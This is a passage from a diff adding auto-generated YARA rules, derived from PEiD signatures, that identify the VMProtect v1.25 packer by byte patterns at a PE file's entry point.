+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 5E 58 5A 9D 5F 59 5B 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03103_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 5E 58 5F 5A 59 5B 5B 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03104_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 5F 5A 5B 5E 58 9D 59 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03105_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 5F 5B 5D 58 5E 5A 59 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03106_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 9D 5A 5B 59 58 5E 58 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03107_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5A 5F 59 5B 5D 58 5B 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03108_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5A 5F 5B 9D 58 5E 59 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03109_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5B 5A 58 5D 59 5F 9D 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03110_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5D 5B 5F 5E 59 58 9D 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03111_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5E 5A 58 5D 9D 59 5F 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03112_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5E 5B 58 9D 59 5D 5F 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03113_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5F 58 5B 5A 59 5D 9D 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03114_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 9D 5A 5D 5F 58 5B 59 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03115_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5F 59 59 5A 5B 9D 5E 58 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03116_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5F 5A 59 5D 9D 5E 58 5B 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03117_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5F 5B 9D 5D 5A 5E 58 5A 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03118_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5F 5E 9D 5F 59 5A 5D 58 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03119_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 9D 5A 59 5E 5D 5F 5B 5A 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03120_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 9D 5E 5A 58 5F 5D 5B 59 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03121_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 9D 5E 5F 5B 5D 58 5A 59 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03122_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 58 5A 5B 5E 5F 9D 5D 5F 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03123_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 58 5A 5E 5F 5B 5B 5D 59 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03124_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 58 5F 5E 59 9D 5D 5B 59 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03125_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 58 5F 5E 5B 59 5D 5A 9D 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03126_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 59 58 5B 5E 5F 5A 9D 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03127_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 5D 5A 58 9D 5B 5E 5F 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03128_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 5E 5A 5F 5B 9D 5B 58 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03129_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 5E 5F 5D 5A 5B 58 5A 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03130_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 5F 5B 58 5A 9D 58 5E 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03131_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 58 5B 59 5E 5D 5F 5F 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03132_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 59 5E 5D 5F 9D 5E 5B 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03133_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 5B 5F 5E 9D 58 5D 59 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03134_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 5D 59 5D 5F 58 5E 5B 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03135_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 5E 5D 5B 9D 59 58 58 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03136_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 5F 5D 9D 58 59 59 5B 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03137_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 9D 5B 5F 5E 5D 58 59 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03138_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5B 59 5D 9D 5E 5F 5A 5D 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03139_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5B 59 5E 5F 5D 5A 9D 58 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03140_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5B 5D 5E 5F 58 9D 5A 58 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03141_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5B 9D 58 59 58 5E 5D 5A 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03142_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 59 9D 5A 5E 58 5B 5F 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03143_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 5A 5F 58 9D 5E 5B 59 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03144_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 5B 58 5A 59 5F 9D 5E 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03145_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 5B 59 5F 5E 9D 5D 5A 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03146_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 9D 59 5F 5D 58 5E 5A 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03147_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 58 59 5B 59 5A 5D 9D 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03148_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 58 5D 5A 5A 5F 5B 9D 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03149_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 58 5F 5D 5A 59 9D 5A 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03150_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 59 58 5F 5B 5D 5D 5A 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03151_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 59 5A 5B 9D 5F 58 58 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03152_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 5A 59 9D 5F 5D 5B 58 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03153_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 5D 58 59 58 9D 5A 5B 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03154_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 5D 5B 5A 9D 58 5A 59 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03155_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 5F 58 59 9D 5F 5B 5D 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03156_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 9D 5D 5B 59 5A 58 5F 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03157_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 9D 5F 5D 5B 58 5D 59 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03158_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5F 5A 58 5E 5D 5B 9D 59 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03159_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5F 5F 5B 58 59 5D 5A 5E 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03160_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5F 9D 58 5B 5D 5A 5A 5E 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03161_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 59 5A 5B 58 5B 5F 5E 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03162_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 5D 59 58 5F 5A 5E 5B 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03163_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 5D 5E 59 5B 58 5B 5F 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03164_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 5F 58 5E 5A 5B 59 5D 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03165_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 5F 59 5D 5A 5B 5B 5E 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03166_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03167_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03168_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 66 8B 55 00 83 C5 02 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03169_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 66 98 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03170_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03171_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 8A 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03172_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 46 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03173_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 C6 01 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03174_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 46 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03175_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 66 89 45 00 46 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03176_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 66 89 45 00 83 C6 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03177_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 66 89 45 00 83 EE FF E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03178_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 66 89 45 00 8D 76 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03179_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 83 C6 01 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03180_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 83 EE FF 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03181_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 8D 76 01 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03182_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 EE FF 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03183_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 8D 76 01 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03184_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 46 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03185_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 46 83 C5 02 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03186_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 46 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03187_VMProtect_v1_25____PolyTech_
+{
